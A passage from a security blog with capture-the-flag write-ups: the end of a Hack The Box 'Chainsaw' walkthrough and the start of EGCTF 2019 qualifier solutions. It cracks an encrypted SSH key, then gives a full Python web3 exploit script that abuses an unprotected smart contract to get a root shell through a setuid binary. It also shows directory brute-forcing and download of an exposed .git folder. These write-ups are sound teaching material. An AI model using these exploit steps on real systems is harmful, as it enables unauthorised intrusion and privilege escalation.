ZWQgeW91IHdpbGwgZmluZCB5b3VyIHBlcnNvbmFsIGVuY3J5cHRlZCBwcml2YXRlIGtleS4gUGxl
YXNlIGFzayZuYnNwO3JlY2VwdGlvbiBkZXNrIGZvciB5b3VyIHBhc3N3b3JkLCB0aGVyZWZvcmUg
YmUgc3VyZSB0byBicmluZyB5b3VyIHZhbGlkIElEIGFzIGFsd2F5cy48YnI+PC9kaXY+PGRpdj48
YnI+PC9kaXY+PGRpdj5TaW5jZXJlbHksPGJyPjwvZGl2PjxkaXY+SVQgQWRtaW5pc3RyYXRpb24g
RGVwYXJ0bWVudDxicj48L2Rpdj4=
-----------------------ffced83f318ffbd54e80374f045d2451--
-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"

LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF
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N1lyUzJhbEtzTTBGcEZ3bWR6MS9YRFNGMkQ3aWJmL1cxbUF4TDVVbUVxTzAKaFVJdVcxZFJGd0hq
TnZhb1NrK2ZyQXA2aWM2SVBZU21kbzhHWVl5OHBYdmNxd2ZScHhZbEFDWnU0RmlpNmhZaQo0V3Bo
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MmV0ClNKWTQrNUNFYmtBY1lFVW5QV1k5U1BPSjdxZVU3K2IvZXF6aEtia3BuYmxtaUsxZjNyZU9N
MllVS3k4YWFsZWgKbkpZbWttcjN0M3FHUnpoQUVUY2tjOEhMRTExZEdFK2w0YmE2V0JOdTE1R29F
V0Fzenp0TXVJVjFlbW50OTdvTQpJbW5mb250T1lkd0I2LzJvQ3V5SlRpZjhWdy9XdFdxWk5icGV5
OTcwNGE5bWFwLytiRHFlUVE0MStCOEFDRGJLCldvdnNneVdpL1VwaU1UNm02clgrRlA1RDVFOHpy
WXRubm1xSW83dnhIcXRCV1V4amFoQ2RuQnJrWUZ6bDZLV1IKZ0Z6eDNlVGF0bFpXeXI0a3N2Rm10
b2JZa1pWQVFQQUJXeitnSHB1S2xycWhDOUFOenIvSm4rNVpmRzAybW9GLwplZEwxYnA5SFBSSTQ3
RHl2THd6VDEvNUw5Wno2WSsxTXplbmRUaTNLcnpRL1ljZnI1WUFSdll5TUxiTGpNRXRQClV2SmlZ
NDB1Mm5tVmI2UXFwaXkyenIvYU1saHB1cFpQay94dDhvS2hLQytsOW1nT1RzQVhZakNiVG1MWHpW
clgKMTVVMjEwQmR4RUZVRGNpeE5pd1Rwb0JTNk1meENPWndOLzFadjBtRThFQ0krNDRMY3FWdDN3
PT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0=
-----------------------d296272d7cb599bff2a1ddf6d6374d93--
[email protected]:/home/administrator$

I copied it to my box:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# nano bobby.key.enc.b64
[email protected]:~/Desktop/HTB/boxes/chainsaw# base64 -d bobby.key.enc.b64 > bobby.key.enc
[email protected]:~/Desktop/HTB/boxes/chainsaw# cat bobby.key.enc
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,53D881F299BA8503

SeCNYw/BsXPyQq1HRLEEKhiNIVftZagzOcc64ff1IpJo9IeG7Z/zj+v1dCIdejuk
7ktQFczTlttnrIj6mdBb6rnN6CsP0vbz9NzRByg1o6cSGdrL2EmJN/eSxD4AWLcz
n32FPY0VjlIVrh4rjhRe2wPNogAciCHmZGEB0tgv2/eyxE63VcRzrxJCYl+hvSZ6
fvsSX8A4Qr7rbf9fnz4PImIgurF3VhQmdlEmzDRT4m/pqf3TmGAk9+wriqnkODFQ
I+2I1cPb8JRhLSz3pyB3X/uGOTnYp4aEq+AQZ2vEJz3FfX9SX9k7dd6KaZtSAzqi
w981ES85Dk9NUo8uLxnZAw3sF7Pz4EuJ0Hpo1eZgYtKzvDKrrw8uo4RCadx7KHRT
inKXduHznGA1QROzZW7xE3HEL3vxR9gMV8gJRHDZDMI9xlw99QVwcxPcFa31AzV2
yp3q7yl954SCMOti4RC3Z4yUTjDkHdHQoEcGieFOWU+i1oij4crx1LbO2Lt8nHK6
G1Ccq7iOon4RsTRlVrv8liIGrxnhOY295e9drl7BXPpJrbwso8xxHlT3333YU9dj
hQLNp5+2H4+i6mmU3t2ogToP4skVcoqDlCC+j6hDOl4bpD9t6TIJurWxmpGgNxes
q8NsAentbsD+xl4W6q5muLJQmj/xQrrHacEZDGI8kWvZE1iFmVkD/xBRnwoGZ5ht
DyilLPpl9R+Dh7by3lPm8kf8tQnHsqpRHceyBFFpnq0AUdEKkm1LRMLAPYILblKG
jwrCqRvBKRMIl6tJiD87NM6JBoQydOEcpn+6DU+2Actejbur0aM74IyeenrGKSSZ
IZMsd2kTSGUxy9o/xPKDkUw/SFUySmmwiqiFL6PaDgxWQwHxtxvmHMhL6citNdIw
TcOTSJczmR2pJxkohLrH7YrS2alKsM0FpFwmdz1/XDSF2D7ibf/W1mAxL5UmEqO0
hUIuW1dRFwHjNvaoSk+frAp6ic6IPYSmdo8GYYy8pXvcqwfRpxYlACZu4Fii6hYi
4WphT3ZFYDrw7StgK04kbD7QkPeNq9Ev1In2nVdzFHPIh6z+fmpbgfWgelLHc2et
SJY4+5CEbkAcYEUnPWY9SPOJ7qeU7+b/eqzhKbkpnblmiK1f3reOM2YUKy8aaleh
nJYmkmr3t3qGRzhAETckc8HLE11dGE+l4ba6WBNu15GoEWAszztMuIV1emnt97oM
ImnfontOYdwB6/2oCuyJTif8Vw/WtWqZNbpey9704a9map/+bDqeQQ41+B8ACDbK
WovsgyWi/UpiMT6m6rX+FP5D5E8zrYtnnmqIo7vxHqtBWUxjahCdnBrkYFzl6KWR
gFzx3eTatlZWyr4ksvFmtobYkZVAQPABWz+gHpuKlrqhC9ANzr/Jn+5ZfG02moF/
edL1bp9HPRI47DyvLwzT1/5L9Zz6Y+1MzendTi3KrzQ/Ycfr5YARvYyMLbLjMEtP
UvJiY40u2nmVb6Qqpiy2zr/aMlhpupZPk/xt8oKhKC+l9mgOTsAXYjCbTmLXzVrX
15U210BdxEFUDcixNiwTpoBS6MfxCOZwN/1Zv0mE8ECI+44LcqVt3w==
[email protected]:~/Desktop/HTB/boxes/chainsaw#

I used ssh2john.py to get the hash of the key in john format then I used john with rockyou.txt to crack it:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# /opt/ssh2john.py ./bobby.key.enc > bobby.key.enc.hash
[email protected]:~/Desktop/HTB/boxes/chainsaw# john --wordlist=/usr/share/wordlists/rockyou.txt ./bobby.key.enc.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
jackychain (./bobby.key.enc)
1g 0:00:00:22 DONE (2019-11-22 21:56) 0.04380g/s 628195p/s 628195c/s 628195C/s *7¡Vamos!
Session completed
[email protected]:~/Desktop/HTB/boxes/chainsaw#

Password: jackychain, let’s ssh into the box as bobby:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# chmod 600 bobby.key.enc
[email protected]:~/Desktop/HTB/boxes/chainsaw# ssh -i bobby.key.enc [email protected]
Enter passphrase for key 'bobby.key.enc':
[email protected]:~$ whoami
bobby
[email protected]:~$ id
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)
[email protected]:~$ ls -la
total 52
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 bobby bobby 9 Nov 30 2018 .bash_history -> /dev/null
-rw-r--r-- 1 bobby bobby 220 Sep 12 2018 .bash_logout
-rw-r--r-- 1 bobby bobby 3771 Sep 12 2018 .bashrc
drwx------ 2 bobby bobby 4096 Nov 30 2018 .cache
drwx------ 3 bobby bobby 4096 Nov 30 2018 .gnupg
drwxrwxr-x 3 bobby bobby 4096 Dec 12 2018 .java
drwxrwxr-x 3 bobby bobby 4096 Nov 30 2018 .local
-rw-r--r-- 1 bobby bobby 807 Sep 12 2018 .profile
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 projects
drwxrwxr-x 2 bobby bobby 4096 Dec 12 2018 resources
drwxr-x--- 2 bobby bobby 4096 Dec 13 2018 .ssh
-r--r----- 1 bobby bobby 33 Jan 23 2019 user.txt
-rw-rw-r-- 1 bobby bobby 0 Dec 12 2018 .wget-hsts
[email protected]:~$


We owned user.

ChainsawClub: Analysis

In bobby‘s home directory there was a directory called projects which had a project called ChainsawClub, Inside that directory there was another smart contract:

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[email protected]:~$ cd projects/
[email protected]:~/projects$ ls -al
total 12
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 .
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 ..
drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 ChainsawClub
[email protected]:~/projects$ cd ChainsawClub/
[email protected]:~/projects/ChainsawClub$ ls -al
total 156
drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 .
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 ..
-rw-r--r-- 1 root root 44 Nov 22 20:04 address.txt
-rwsr-xr-x 1 root root 16544 Jan 12 2019 ChainsawClub
-rw-r--r-- 1 root root 126388 Jan 23 2019 ChainsawClub.json
-rw-r--r-- 1 root root 1164 Jan 23 2019 ChainsawClub.sol
[email protected]:~/projects/ChainsawClub$

ChainsawClub.sol:

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pragma solidity ^0.4.22;

contract ChainsawClub {

string username = 'nobody';
string password = '7b455ca1ffcb9f3828cfdde4a396139e';
bool approve = false;
uint totalSupply = 1000;
uint userBalance = 0;

function getUsername() public view returns (string) {
return username;
}
function setUsername(string _value) public {
username = _value;
}
function getPassword() public view returns (string) {
return password;
}
function setPassword(string _value) public {
password = _value;
}
function getApprove() public view returns (bool) {
return approve;
}
function setApprove(bool _value) public {
approve = _value;
}
function getSupply() public view returns (uint) {
return totalSupply;
}
function getBalance() public view returns (uint) {
return userBalance;
}
function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}
function reset() public {
username = '';
password = '';
userBalance = 0;
totalSupply = 1000;
approve = false;
}
}

There was also a setuid elf executable called ChainsawClub:

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[email protected]:~/projects/ChainsawClub$ file ChainsawClub
ChainsawClub: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=08b87cf44d6a671b91bc55f6e1f53c7ee083a417, not stripped
[email protected]:~/projects/ChainsawClub$

When executed it prints a note saying “Please sign up first and then log in!”, then it asks for credentials:

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[email protected]:~/projects/ChainsawClub$ ./ChainsawClub 

_ _
| | (_)
___| |__ __ _ _ _ __ ___ __ ___ __
/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V V /
\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username:
Password:
[*] Wrong credentials!
^C
[email protected]:~/projects/ChainsawClub$

Obviously we’ll use the smart contract to sign up, similar to what we did earlier we’ll write a python script to interact with the contract.
We’ll use:
setUsername() to set the username
setPassword() to set the password, it has to be md5 hashed as we saw:

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string password = '7b455ca1ffcb9f3828cfdde4a396139e';

setApprove() to change approve from false to true
transfer() to transfer coins to the user’s balance, it can’t transfer more than 1000 coins because that’s the value of totalSupply and we can’t transfer more than that:

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function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}

Transferring coins is an important step because when I created a new user without transferring coins I could successfully login but it said that I didn’t have enough funds and exited.

ChainsawClub: Exploitation

I used netstat to list the open ports, 63991 was open and listening on localhost only so I assumed that it’s the port on which the contract is deployed:

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[email protected]:~/projects/ChainsawClub$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9810 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:63991 0.0.0.0:* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
[email protected]:~/projects/ChainsawClub$

I got the ABI of the contract like I did before:

And we have the address of the contract in address.txt
I wrote the exploit and forwarded the port to my box:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# ssh -L 63991:127.0.0.1:63991 -i bobby.key.enc [email protected]                                                                                                          
Enter passphrase for key 'bobby.key.enc':
[email protected]:~$

The exploit is similar to the first one.
ChainsawClubExploit.py:

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#!/usr/bin/python3
import json
from web3 import Web3, eth
from sys import argv
from hashlib import md5

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(address, username, password, passhash):
print(YELLOW + "[+] Starting")
print(YELLOW + "[+] Connecting to localhost:63991")
w3 = Web3(Web3.HTTPProvider('http://localhost:63991'))
print(GREEN + "[*] Connection Established")
w3.eth.defaultAccount = w3.eth.accounts[0]
print(YELLOW + "[+] Creating the contract representation")
print(YELLOW + "[+] Address: {}".format(address))
abi = json.loads('[ { "constant": true, "inputs": [], "name": "getBalance", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setPassword", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getUsername", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getApprove", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "bool" } ], "name": "setApprove", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getPassword", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [], "name": "reset", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setUsername", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]')
contract = w3.eth.contract(address=address, abi=abi)
print(GREEN + "[*] Done")
print(YELLOW + "[+] Calling setUsername() with: {}".format(username))
contract.functions.setUsername(username).transact()
print(GREEN + "[*] Done. getUsername(): " + contract.functions.getUsername().call())
print(YELLOW + "[+] Calling setPassword() with: {} ({})".format(passhash, password))
contract.functions.setPassword(passhash).transact()
print(GREEN + "[*] Done. getPassword(): " + contract.functions.getPassword().call())
print(YELLOW + "[+] Calling setApprove() with: True")
contract.functions.setApprove(True).transact()
print(GREEN + "[*] Done. getApprove(): " + str(contract.functions.getApprove().call()))
print(YELLOW + "[+] Calling transfer() with: 1000")
contract.functions.transfer(1000).transact()
print(GREEN + "[*] Done. getBalance(): " + str(contract.functions.getBalance().call()))
print(GREEN + "[+] Exploit finished. Now you can login with the provided credentials: {}:{}, Exiting...".format(username,password))
exit()

if len(argv) != 4:
print(YELLOW + "[!] Usage: {} [contract address] [username] [password]".format(argv[0]))
exit()
else:
address = argv[1]
username = argv[2]
password = argv[3]
passhash = md5(password.encode('utf-8')).hexdigest()
exploit(address, username, password, passhash)
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[email protected]:~/Desktop/HTB/boxes/chainsaw# ./ChainsawClubExploit.py 0xE6384BBbBb7C30C4Af2287872179296d46d863bE rick pwn3d                                                                                            
[+] Starting
[+] Connecting to localhost:63991
[*] Connection Established
[+] Creating the contract representation
[+] Address: 0xE6384BBbBb7C30C4Af2287872179296d46d863bE
[*] Done
[+] Calling setUsername() with: rick
[*] Done. getUsername(): rick
[+] Calling setPassword() with: b2f3d1e0efcb5d60e259a34ecbbdbe00 (pwn3d)
[*] Done. getPassword(): b2f3d1e0efcb5d60e259a34ecbbdbe00
[+] Calling setApprove() with: True
[*] Done. getApprove(): True
[+] Calling transfer() with: 1000
[*] Done. getBalance(): 1000
[+] Exploit finished. Now you can login with the provided credentials: rick:pwn3d, Exiting...
[email protected]:~/Desktop/HTB/boxes/chainsaw#

After authenticating I got a root shell:

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[email protected]:~/projects/ChainsawClub$ ./ChainsawClub 

_ _
| | (_)
___| |__ __ _ _ _ __ ___ __ ___ __
/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V V /
\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (€)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: rick
Password:

************************
* Welcome to the club! *
************************

Rule #1: Do not get excited too fast.

[email protected]:/home/bobby/projects/ChainsawClub#
[email protected]:/home/bobby/projects/ChainsawClub# whoami
root
[email protected]:/home/bobby/projects/ChainsawClub# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/bobby/projects/ChainsawClub#

However the root flag wasn’t there:

Slack Space –> Root Flag

root.txt size is 52 bytes, the block size here is 4096 bytes which means that there are 4044 unused bytes (4096 - 52) which is called “slack space”. (Check this page, and this one).
Slack space can be used to hide data, which was the case here with the root flag. I used bmap:

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bmap --mode slack root.txt --verbose


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Networked
Next Hack The Box write-up : Hack The Box - Heist

EGCTF 2019 - Qualification Round

17 November 2019 at 03:00

EGCTF 2019 - Qualification Round

Introduction

I participated in EG-CTF 2019 qualification round which was held in Friday November 15 2019 and lasted for 26 hours, These are my quick write-ups for some of the challenges.

Starter: Decode me :)

Challenge Description:

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Here you are

The message is 7uvxEhXkGkmPhYQtDE3Eg99ZKfr8kRwFe15nNkg9eyFLKXqe Good luck!!

Flag Format EGCTF{50m3_l337_73x7}

Solution:

This was a very easy one, we’re given an encoded string and we need to decode it to retrieve the flag, I tried some of the known encoding methods and found that it was base-58 encoded:

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[email protected]:~/Desktop/EGCTF-Quals/starter/decode-me# base58 -d ./message.txt 
EGCTF{574r73r_ch4ll3n635_4r3_6r337}
[email protected]:~/Desktop/EGCTF-Quals/starter/decode-me#

Starter: JS CryptoMiner

Challenge Description:

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We found this obfuscated JS code and we think it may be a cryptominer. Please confirm and extract the hidden flag.

var a=['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39','\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0xc7));var b=function(c,d){c=c-0x0;var e=a[c];if(b['mPLuJI']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());b['QMZCsz']=function(r){var s=atob(r);var t=[];for(var u=0x0,v=s['length'];u<v;u++){t+='%'+('00'+s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(t);};b['MdcAcN']={};b['mPLuJI']=!![];}var w=b['MdcAcN'][c];if(w===undefined){e=b['QMZCsz'](e);b['MdcAcN'][c]=e;}else{e=w;}return e;};variable=function(){flag=String[b('0x0')](0x45,0x47,0x43,0x54,0x46,0x7b,0x4a,0x61,0x76,0x61,0x53,0x63,0x72,0x69,0x70,0x74)+atob(b('0x1'));};another=!![];

Solution:

I used beautifier.io to beautify the javascript code:

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var a = ['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39', '\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c'];
(function(c, d) {
var e = function(f) {
while (--f) {
c['push'](c['shift']());
}
};
e(++d);
}(a, 0xc7));
var b = function(c, d) {
c = c - 0x0;
var e = a[c];
if (b['mPLuJI'] === undefined) {
(function() {
var f = function() {
var g;
try {
g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
} catch (h) {
g = window;
}
return g;
};
var i = f();
var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
i['atob'] || (i['atob'] = function(k) {
var l = String(k)['replace'](/=+$/, '');
for (var m = 0x0, n, o, p = 0x0, q = ''; o = l['charAt'](p++); ~o && (n = m % 0x4 ? n * 0x40 + o : o, m++ % 0x4) ? q += String['fromCharCode'](0xff & n >> (-0x2 * m & 0x6)) : 0x0) {
o = j['indexOf'](o);
}
return q;
});
}());
b['QMZCsz'] = function(r) {
var s = atob(r);
var t = [];
for (var u = 0x0, v = s['length']; u < v; u++) {
t += '%' + ('00' + s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);
}
return decodeURIComponent(t);
};
b['MdcAcN'] = {};
b['mPLuJI'] = !![];
}
var w = b['MdcAcN'][c];
if (w === undefined) {
e = b['QMZCsz'](e);
b['MdcAcN'][c] = e;
} else {
e = w;
}
return e;
};
variable = function() {
flag = String[b('0x0')](0x45, 0x47, 0x43, 0x54, 0x46, 0x7b, 0x4a, 0x61, 0x76, 0x61, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74) + atob(b('0x1'));
};
another = !![];

By looking at the end of the code we’ll see this function:

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variable = function() {
flag = String[b('0x0')](0x45, 0x47, 0x43, 0x54, 0x46, 0x7b, 0x4a, 0x61, 0x76, 0x61, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74) + atob(b('0x1'));
};

So what I did was to paste the code in the js console, call the function and read the flag:

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[email protected]:~/Desktop/EGCTF-Quals/starter/JSCryptoMiner# js
> var a=['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39','\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0xc7));var b=function(c,d){c=c-0x0;var e=a[c];if(b['mPLuJI']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());b['QMZCsz']=function(r){var s=atob(r);var t=[];for(var u=0x0,v=s['length'];u<v;u++){t+='%'+('00'+s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(t);};b['MdcAcN']={};b['mPLuJI']=!![];}var w=b['MdcAcN'][c];if(w===undefined){e=b['QMZCsz'
](e);b['MdcAcN'][c]=e;}else{e=w;}return e;};variable=function(){flag=String[b('0x0')](0x45,0x47,0x43,0x54,0x46,0x7b,0x4a,0x61,0x76,0x61,0x53,0x63,0x72,0x69,0x70,0x74)+atob(b('0x1'));};another=!![];
true
> variable()
undefined
> flag
'EGCTF{JavaScript_is_Fun}'
>

Starter: Rotten Code

Challenge Description:

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We found this key online but it does not make any sense to us. Can you figure anything out?

CEARD{Pmr14_jm0m0m0m0m0m0m0m0m0m0mn}

Solution:

By looking at the text it’s easily recognizable that this is the flag but the letters are substituted.
We know that the flag starts with EGCTF so C is E and E is G, which means that the offset is 2. I used rot13.com to decode the flag:

Misc: QR c0d3

Challenge Description:

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I tried so hard and got so far but in the end I have nothing to try. Can you help me read this QR code

Flag format EGCTF{$0m3_l337_73x7}

Solution:

We’re given an image called QR.png:

I used onlinebarcodereader.com to read the qr code, but I only got a small part of the flag:

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R_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 .

I tried rotating the image by 90 degrees to see if I’ll get any different results, which actually worked:

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[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR.png -rotate 90 QR_2.png
[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3#

QR_2.png:

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7h!5 m355493. Th3 fl49 !5 EGCTF{m3r9!n9_ Q

Let’s get the other 2 images:

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[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR_2.png -rotate 90 QR_3.png
[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3# convert QR_3.png -rotate 90 QR_4.png
[email protected]:~/Desktop/EGCTF-Quals/misc/QR-c0d3#

QR_3.png:

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H3ll0. Th!5 !5 4 m355493 fr0m 39yp7. Y0u n

QR_4.png:

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33d m0r3 7h4n 4 QR c0d3 5c4nn3r 70 d3c0d3

Final message:

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H3ll0. Th!5 !5 4 m355493 fr0m 39yp7. Y0u n33d m0r3 7h4n 4 QR c0d3 5c4nn3r 70 d3c0d3 7h!5 m355493. Th3 fl49 !5 EGCTF{m3r9!n9_ QR_c0d3$_!$_n07_4n_34$y_74$k} 3nd_0f_Fl49 .

Web: Hold Up

Challenge Description:

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I never set out to be weird. It was always other people who called me weird.

http://172.105.76.128/

Solution:

The index page only had an image saying “SITE UNDER CONSTRUCTION” and nothing else:

I ran gobuster to check for sub directories and found a git directory:

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[email protected]:~/Desktop/EGCTF-Quals/web/hold-up# gobuster -u http://172.105.76.128/ -w /usr/share/wordlists/dirb/common.txt 

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://172.105.76.128/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/16 21:22:42 Starting gobuster
=====================================================
/.git/HEAD (Status: 200)
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
=====================================================
2019/11/16 21:23:22 Finished
=====================================================
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up#

/.git:

I used wget to download it:

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[email protected]:~/Desktop/EGCTF-Quals/web/hold-up# mkdir git
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up# cd git/
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git# wget -r http://172.105.76.128/.git/
---
FINISHED --2019-11-16 21:25:20--
Total wall clock time: 1m 21s
Downloaded: 465 files, 712K in 0.9s (774 KB/s)
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git#
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[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git# ls -al
total 12
drwxr-xr-x 3 root root 4096 Nov 16 21:23 .
drwxr-xr-x 3 root root 4096 Nov 16 21:25 ..
drwxr-xr-x 4 root root 4096 Nov 16 21:24 172.105.76.128
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git# cd 172.105.76.128/.git/
[email protected]:~/Desktop/EGCTF-Quals/web/hold-up/git/172.105.76.128/.git# ls -la
total 88
drwxr-xr-x 8 root root 4096 Nov 16 21:24 .
drwxr-xr-x 4 root root 4096 Nov 16 21:24 ..
drwxr-xr-x 2 root root 4096 Nov 16 21:24 branches
-rw-r--r-- 1 root root 9 Nov 15 02:08 COMMIT_EDITMSG
-rw-r--r-- 1 root root 92 Nov 15 02:08 config
-rw-r--r-- 1 root root 73 Nov 15 02:08 description
-rw-r--r-- 1 root root 23 Nov 15 02:08 HEAD
drwxr-xr-x 2 root root 4096 Nov 16 21:24 hooks
-rw-r--r-- 1 root root 356 Nov 15 02:08 index
-rw-r--r-- 1 root root 2880 Nov 16 21:23 index.html
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=D;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=D;O=D'
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=M;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=M;O=D'
-rw-r--r-- 1 root root 2880 Nov 16 21:24 'index.html?C=N;O=A'
-rw-r--r-- 1 root root 2880 Nov 16 21:23 'index.html?C=N;O=D'
